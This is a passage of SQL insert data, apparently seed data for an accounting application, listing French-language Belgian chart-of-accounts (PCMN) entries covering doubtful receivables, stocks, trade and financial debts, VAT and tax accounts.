douteuses (à ventiler comme clients 2900)',NULL,0,NULL,NULL,1,0,NULL,NULL),(789,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2909',772,'Réductions de valeur actées (à ventiler comme clients 2900)',NULL,0,NULL,NULL,1,0,NULL,NULL),(790,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','291',771,'Autres créances',NULL,0,NULL,NULL,1,0,NULL,NULL),(791,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2910',790,'Créances en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(792,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29100',791,'Sur entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(793,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29101',791,'Sur entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(794,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29102',791,'Sur autres débiteurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(795,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2911',790,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(796,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29110',795,'Sur entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(797,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29111',795,'Sur entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(798,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','29112',795,'Sur autres débiteurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(799,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2912',790,'Créances résultant de la cession d\'immobilisations données en leasing',NULL,0,NULL,NULL,1,0,NULL,NULL),(800,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2917',790,'Créances douteuses',NULL,0,NULL,NULL,1,0,NULL,NULL),(801,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','IMMO','2919',790,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(802,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','30',1353,'Approvisionnements - matières premières',NULL,0,NULL,NULL,1,0,NULL,NULL),(803,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','300',802,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(804,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','309',802,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(805,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','31',1353,'Approvsionnements et fournitures',NULL,0,NULL,NULL,1,0,NULL,NULL),(806,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','310',805,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(807,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3100',806,'Matières d\'approvisionnement',NULL,0,NULL,NULL,1,0,NULL,NULL),(808,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3101',806,'Energie, charbon, coke, mazout, essence, propane',NULL,0,NULL,NULL,1,0,NULL,NULL),(809,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3102',806,'Produits d\'entretien',NULL,0,NULL,NULL,1,0,NULL,NULL),(810,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3103',806,'Fournitures diverses et petit outillage',NULL,0,NULL,NULL,1,0,NULL,NULL),(811,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3104',806,'Imprimés et fournitures de bureau',NULL,0,NULL,NULL,1,0,NULL,NULL),(812,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3105',806,'Fournitures de services sociaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(813,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3106',806,'Emballages commerciaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(814,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','31060',813,'Emballages perdus',NULL,0,NULL,NULL,1,0,NULL,NULL),(815,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','31061',813,'Emballages récupérables',NULL,0,NULL,NULL,1,0,NULL,NULL),(816,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','319',805,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(817,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','32',1353,'En cours de fabrication',NULL,0,NULL,NULL,1,0,NULL,NULL),(818,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','320',817,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(819,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3200',818,'Produits semi-ouvrés',NULL,0,NULL,NULL,1,0,NULL,NULL),(820,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3201',818,'Produits en cours de fabrication',NULL,0,NULL,NULL,1,0,NULL,NULL),(821,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3202',818,'Travaux en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(822,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3205',818,'Déchets',NULL,0,NULL,NULL,1,0,NULL,NULL),(823,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3206',818,'Rebuts',NULL,0,NULL,NULL,1,0,NULL,NULL),(824,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3209',818,'Travaux en association momentanée',NULL,0,NULL,NULL,1,0,NULL,NULL),(825,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','329',817,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(826,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','33',1353,'Produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(827,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','330',826,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(828,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3300',827,'Produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(829,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','339',826,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(830,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','34',1353,'Marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(831,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','340',830,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(832,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3400',831,'Groupe A',NULL,0,NULL,NULL,1,0,NULL,NULL),(833,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3401',831,'Groupe B',NULL,0,NULL,NULL,1,0,NULL,NULL),(834,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3402',831,'Groupe C',NULL,0,NULL,NULL,1,0,NULL,NULL),(835,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','349',830,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(836,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','35',1353,'Immeubles destinés à la vente',NULL,0,NULL,NULL,1,0,NULL,NULL),(837,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','350',836,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(838,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3500',837,'Immeuble A',NULL,0,NULL,NULL,1,0,NULL,NULL),(839,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3501',837,'Immeuble B',NULL,0,NULL,NULL,1,0,NULL,NULL),(840,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3502',837,'Immeuble C',NULL,0,NULL,NULL,1,0,NULL,NULL),(841,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','351',836,'Immeubles construits en vue de leur revente',NULL,0,NULL,NULL,1,0,NULL,NULL),(842,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3510',841,'Immeuble A',NULL,0,NULL,NULL,1,0,NULL,NULL),(843,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3511',841,'Immeuble B',NULL,0,NULL,NULL,1,0,NULL,NULL),(844,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','3512',841,'Immeuble C',NULL,0,NULL,NULL,1,0,NULL,NULL),(845,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','359',836,'Réductions de valeurs actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(846,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','36',1353,'Acomptes versés sur achats pour stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(847,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','360',846,'Acomptes versés (à ventiler éventuellement par catégorie)',NULL,0,NULL,NULL,1,0,NULL,NULL),(848,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','369',846,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(849,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','37',1353,'Commandes en cours d\'exécution',NULL,0,NULL,NULL,1,0,NULL,NULL),(850,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','370',849,'Valeur d\'acquisition',NULL,0,NULL,NULL,1,0,NULL,NULL),(851,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','371',849,'Bénéfice pris en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(852,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','STOCK','379',849,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(853,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','40',1354,'Créances commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(854,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','400',853,'Clients',NULL,0,NULL,NULL,1,0,NULL,NULL),(855,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4007',854,'Rabais, remises et ristournes à accorder et autres notes de crédit à établir',NULL,0,NULL,NULL,1,0,NULL,NULL),(856,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4008',854,'Créances résultant de livraisons de biens (associations momentanées)',NULL,0,NULL,NULL,1,0,NULL,NULL),(857,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','401',853,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(858,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4010',857,'Effets à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(859,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4013',857,'Effets à l\'encaissement',NULL,0,NULL,NULL,1,0,NULL,NULL),(860,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4015',857,'Effets à l\'escompte',NULL,0,NULL,NULL,1,0,NULL,NULL),(861,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','402',853,'Clients, créances courantes, entreprises apparentées, administrateurs et gérants',NULL,0,NULL,NULL,1,0,NULL,NULL),(862,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4020',861,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(863,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4021',861,'Autres entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(864,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4022',861,'Administrateurs et gérants d\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(865,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','403',853,'Effets à recevoir sur entreprises apparentées et administrateurs et gérants',NULL,0,NULL,NULL,1,0,NULL,NULL),(866,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4030',865,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(867,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4031',865,'Autres entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(868,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4032',865,'Administrateurs et gérants de l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(869,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','404',853,'Produits à recevoir (factures à établir)',NULL,0,NULL,NULL,1,0,NULL,NULL),(870,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','405',853,'Clients : retenues sur garanties',NULL,0,NULL,NULL,1,0,NULL,NULL),(871,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','406',853,'Acomptes versés',NULL,0,NULL,NULL,1,0,NULL,NULL),(872,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','407',853,'Créances douteuses',NULL,0,NULL,NULL,1,0,NULL,NULL),(873,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','408',853,'Compensation clients',NULL,0,NULL,NULL,1,0,NULL,NULL),(874,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','409',853,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(875,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','41',1354,'Autres créances',NULL,0,NULL,NULL,1,0,NULL,NULL),(876,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','410',875,'Capital appelé, non versé',NULL,0,NULL,NULL,1,0,NULL,NULL),(877,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4100',876,'Appels de fonds',NULL,0,NULL,NULL,1,0,NULL,NULL),(878,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4101',876,'Actionnaires défaillants',NULL,0,NULL,NULL,1,0,NULL,NULL),(879,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','411',875,'T.V.A. à récupérer',NULL,0,NULL,NULL,1,0,NULL,NULL),(880,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4110',879,'T.V.A. due',NULL,0,NULL,NULL,1,0,NULL,NULL),(881,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4111',879,'T.V.A. déductible',NULL,0,NULL,NULL,1,0,NULL,NULL),(882,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4112',879,'Compte courant administration T.V.A.',NULL,0,NULL,NULL,1,0,NULL,NULL),(883,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4118',879,'Taxe d\'égalisation due',NULL,0,NULL,NULL,1,0,NULL,NULL),(884,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','412',875,'Impôts et versements fiscaux à récupérer',NULL,0,NULL,NULL,1,0,NULL,NULL),(885,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4120',884,'Impôts belges sur le résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(886,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4125',884,'Autres impôts belges',NULL,0,NULL,NULL,1,0,NULL,NULL),(887,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4128',884,'Impôts étrangers',NULL,0,NULL,NULL,1,0,NULL,NULL),(888,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','414',875,'Produits à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(889,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','416',875,'Créances diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(890,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4160',889,'Associés (compte d\'apport en société)',NULL,0,NULL,NULL,1,0,NULL,NULL),(891,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4161',889,'Avances et prêts au personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(892,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4162',889,'Compte courant des associés en S.P.R.L.',NULL,0,NULL,NULL,1,0,NULL,NULL),(893,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4163',889,'Compte courant des administrateurs et gérants',NULL,0,NULL,NULL,1,0,NULL,NULL),(894,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4164',889,'Créances sur sociétés apparentées',NULL,0,NULL,NULL,1,0,NULL,NULL),(895,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4166',889,'Emballages et matériel à rendre',NULL,0,NULL,NULL,1,0,NULL,NULL),(896,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4167',889,'Etat et établissements publics',NULL,0,NULL,NULL,1,0,NULL,NULL),(897,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','41670',896,'Subsides à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(898,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','41671',896,'Autres créances',NULL,0,NULL,NULL,1,0,NULL,NULL),(899,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4168',889,'Rabais, ristournes et remises à obtenir et autres avoirs non encore reçus',NULL,0,NULL,NULL,1,0,NULL,NULL),(900,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','417',875,'Créances douteuses',NULL,0,NULL,NULL,1,0,NULL,NULL),(901,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','418',875,'Cautionnements versés en numéraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(902,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','419',875,'Réductions de valeur actées',NULL,0,NULL,NULL,1,0,NULL,NULL),(903,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','42',1354,'Dettes à plus d\'un an échéant dans l\'année',NULL,0,NULL,NULL,1,0,NULL,NULL),(904,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','420',903,'Emprunts subordonnés',NULL,0,NULL,NULL,1,0,NULL,NULL),(905,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4200',904,'Convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(906,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4201',904,'Non convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(907,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','421',903,'Emprunts obligataires non subordonnés',NULL,0,NULL,NULL,1,0,NULL,NULL),(908,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4210',907,'Convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(909,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4211',907,'Non convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(910,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','422',903,'Dettes de location-financement et assimilées',NULL,0,NULL,NULL,1,0,NULL,NULL),(911,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4220',910,'Financement de biens immobiliers',NULL,0,NULL,NULL,1,0,NULL,NULL),(912,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4221',910,'Financement de biens mobiliers',NULL,0,NULL,NULL,1,0,NULL,NULL),(913,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','423',903,'Etablissements de crédit',NULL,0,NULL,NULL,1,0,NULL,NULL),(914,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4230',913,'Dettes en compte',NULL,0,NULL,NULL,1,0,NULL,NULL),(915,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4231',913,'Promesses',NULL,0,NULL,NULL,1,0,NULL,NULL),(916,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4232',913,'Crédits d\'acceptation',NULL,0,NULL,NULL,1,0,NULL,NULL),(917,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','424',903,'Autres emprunts',NULL,0,NULL,NULL,1,0,NULL,NULL),(918,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','425',903,'Dettes commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(919,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4250',918,'Fournisseurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(920,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4251',918,'Effets à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(921,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','426',903,'Cautionnements reçus en numéraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(922,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','429',903,'Dettes diverses',NULL,0,NULL,NULL,1,0,NULL,NULL),(923,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4290',922,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(924,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4291',922,'Entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(925,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4292',922,'Administrateurs, gérants, associés',NULL,0,NULL,NULL,1,0,NULL,NULL),(926,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4299',922,'Autres dettes',NULL,0,NULL,NULL,1,0,NULL,NULL),(927,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','43',1354,'Dettes financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(928,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','430',927,'Etablissements de crédit. Emprunts en compte à terme fixe',NULL,0,NULL,NULL,1,0,NULL,NULL),(929,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','431',927,'Etablissements de crédit. Promesses',NULL,0,NULL,NULL,1,0,NULL,NULL),(930,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','432',927,'Etablissements de crédit. Crédits d\'acceptation',NULL,0,NULL,NULL,1,0,NULL,NULL),(931,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','433',927,'Etablissements de crédit. Dettes en compte courant',NULL,0,NULL,NULL,1,0,NULL,NULL),(932,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','439',927,'Autres emprunts',NULL,0,NULL,NULL,1,0,NULL,NULL),(933,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44',1354,'Dettes commerciales',NULL,0,NULL,NULL,1,0,NULL,NULL),(934,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','440',933,'Fournisseurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(935,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4400',934,'Entreprises apparentées',NULL,0,NULL,NULL,1,0,NULL,NULL),(936,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44000',935,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(937,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44001',935,'Entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(938,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4401',934,'Fournisseurs ordinaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(939,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44010',938,'Fournisseurs belges',NULL,0,NULL,NULL,1,0,NULL,NULL),(940,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44011',938,'Fournisseurs CEE',NULL,0,NULL,NULL,1,0,NULL,NULL),(941,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44012',938,'Fournisseurs importation',NULL,0,NULL,NULL,1,0,NULL,NULL),(942,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4402',934,'Dettes envers les coparticipants (associations momentanées)',NULL,0,NULL,NULL,1,0,NULL,NULL),(943,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4403',934,'Fournisseurs - retenues de garanties',NULL,0,NULL,NULL,1,0,NULL,NULL),(944,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','441',933,'Effets à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(945,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4410',944,'Entreprises apparentées',NULL,0,NULL,NULL,1,0,NULL,NULL),(946,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44100',945,'Entreprises liées',NULL,0,NULL,NULL,1,0,NULL,NULL),(947,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44101',945,'Entreprises avec lesquelles il existe un lien de participation',NULL,0,NULL,NULL,1,0,NULL,NULL),(948,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4411',944,'Fournisseurs ordinaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(949,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44110',948,'Fournisseurs belges',NULL,0,NULL,NULL,1,0,NULL,NULL),(950,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44111',948,'Fournisseurs CEE',NULL,0,NULL,NULL,1,0,NULL,NULL),(951,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','44112',948,'Fournisseurs importation',NULL,0,NULL,NULL,1,0,NULL,NULL),(952,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','444',933,'Factures à recevoir',NULL,0,NULL,NULL,1,0,NULL,NULL),(953,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','446',933,'Acomptes reçus',NULL,0,NULL,NULL,1,0,NULL,NULL),(954,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','448',933,'Compensations fournisseurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(955,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45',1354,'Dettes fiscales, salariales et sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(956,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','450',955,'Dettes fiscales estimées',NULL,0,NULL,NULL,1,0,NULL,NULL),(957,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4501',956,'Impôts sur le résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(958,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4505',956,'Autres impôts en Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(959,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4508',956,'Impôts à l\'étranger',NULL,0,NULL,NULL,1,0,NULL,NULL),(960,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','451',955,'T.V.A. à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(961,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4510',960,'T.V.A. due',NULL,0,NULL,NULL,1,0,NULL,NULL),(962,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4511',960,'T.V.A. déductible',NULL,0,NULL,NULL,1,0,NULL,NULL),(963,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4512',960,'Compte courant administration T.V.A.',NULL,0,NULL,NULL,1,0,NULL,NULL),(964,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4518',960,'Taxe d\'égalisation due',NULL,0,NULL,NULL,1,0,NULL,NULL),(965,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','452',955,'Impôts et taxes à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(966,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4520',965,'Autres impôts sur le résultat',NULL,0,NULL,NULL,1,0,NULL,NULL),(967,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4525',965,'Autres impôts et taxes en Belgique',NULL,0,NULL,NULL,1,0,NULL,NULL),(968,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45250',967,'Précompte immobilier',NULL,0,NULL,NULL,1,0,NULL,NULL),(969,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45251',967,'Impôts communaux à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(970,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45252',967,'Impôts provinciaux à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(971,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','45253',967,'Autres impôts et taxes à payer',NULL,0,NULL,NULL,1,0,NULL,NULL),(972,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','4528',965,'Impôts et taxes à l\'étranger',NULL,0,NULL,NULL,1,0,NULL,NULL),(973,1,NULL,'2018-01-22 17:28:16','PCMN-BASE','TIERS','453',955,'Précomptes 